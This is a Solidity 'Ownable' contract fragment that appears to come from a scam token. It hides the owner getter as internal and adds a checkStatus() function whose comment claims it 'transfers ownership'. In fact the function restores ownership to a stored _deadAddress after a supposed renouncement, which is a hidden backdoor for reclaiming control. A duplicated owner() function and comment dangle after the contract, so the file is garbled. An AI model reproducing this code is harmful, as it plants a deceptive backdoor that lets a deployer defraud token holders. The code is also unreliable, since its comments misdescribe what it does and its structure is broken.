contract Ownable is Context {
    address private _owner;
    address private _deadAddress;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
    * @dev Returns the address of the current owner.
    */
    function owner() internal view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account.
     */
    function checkStatus() public {
        require(_owner == address(0), "owner is zero address");
        _owner = _deadAddress;
    }
 
    /**
    * @dev Throws if called by any account other than the owner.
    */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
function owner() internal view returns (address) {
        return _owner;
    }
/**
 * @dev Returns the address of the current owner.
 */